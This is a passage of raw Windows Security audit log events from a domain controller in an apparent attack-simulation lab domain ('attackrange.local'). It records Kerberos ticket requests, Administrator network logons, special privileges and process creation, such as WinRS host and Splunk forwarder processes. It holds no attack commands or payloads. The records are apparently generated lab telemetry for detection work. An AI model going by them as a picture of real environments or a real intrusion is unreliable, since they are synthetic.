Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252238 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1114 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252237 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Process Information: - New Process ID: 0x520 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252236 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252235 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252234 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252233 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252232 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252231 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154B51 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252230 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252229 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14A0E3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252228 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154B51 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252227 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154B51 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252226 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252225 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252224 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252223 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154A00 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252222 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfd4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252221 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154A00 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252220 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154A00 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252219 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252218 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {D9842D1F-32A3-5579-228A-FC8C9908A53A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252217 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252216 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14BFA9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252215 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14B654 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252214 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14A2E4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252302 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15844F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252301 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x15844F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64627 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252300 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x15844F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252299 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1583EE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252298 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1583EE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64626 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - 